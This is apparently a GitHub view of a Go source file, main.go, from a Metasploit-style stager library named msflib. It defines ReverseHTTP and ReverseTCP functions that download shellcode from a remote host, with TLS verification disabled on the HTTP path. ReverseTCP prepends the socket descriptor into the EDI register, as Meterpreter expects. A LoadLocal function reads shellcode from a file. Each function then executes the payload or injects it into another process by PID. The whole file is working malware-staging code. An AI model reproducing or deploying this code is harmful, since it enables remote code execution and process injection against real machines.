-
Notifications
You must be signed in to change notification settings - Fork 8
/
main.go
81 lines (72 loc) · 1.84 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
package msflib
import (
"crypto/tls"
"encoding/binary"
"io"
"io/ioutil"
"net"
"net/http"
"strings"
"time"
)
var (
CHECKSUMMODE int
PLATFORM int
)
func ReverseHTTP(hostAndPort string, pid int) error {
// *** assumes hostAndPort is in format of <http://Domain>[:<Port>]
httpClient := &http.Client{
Transport: &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
},
}
response, err := httpClient.Get(hostAndPort + "/" + getURL())
if err != nil {
return err
}
defer response.Body.Close()
payload, err := ioutil.ReadAll(response.Body)
if err != nil {
return err
}
if pid == -1 {
return callPayload(payload)
}
return injectPayload(payload, pid)
}
func ReverseTCP(hostAndPort string, pid int) error {
// *** assumes hostAndPort is in format of <IP/Domain>:<Port>
socket, err := net.Dial("tcp", strings.TrimPrefix(hostAndPort, "tcp://"))
if err != nil {
return err
}
// read payload size
var payloadSizeRaw = make([]byte, 4)
_, err = io.ReadFull(socket, payloadSizeRaw)
if err != nil {
return err
}
payloadSize := int(binary.LittleEndian.Uint32(payloadSizeRaw))
// read payload
socket.SetReadDeadline(time.Now().Add(time.Duration(5) * time.Second))
var payload = make([]byte, payloadSize)
_, err = io.ReadFull(socket, payload)
if err != nil {
return err
}
// move SOCKET value to the EDI register
socketFD := getFDBytes(socket.(*net.TCPConn))
payload = append(append([]byte{0xBF}, socketFD...), payload...)
if pid == -1 {
return callPayload(payload)
}
return injectPayload(payload, pid)
}
// mostly for testing, but should work on any shellcode
func LoadLocal(file string, pid int) error {
payload, _ := ioutil.ReadFile(file)
if pid == -1 {
return callPayload(payload)
}
return injectPayload(payload, pid)
}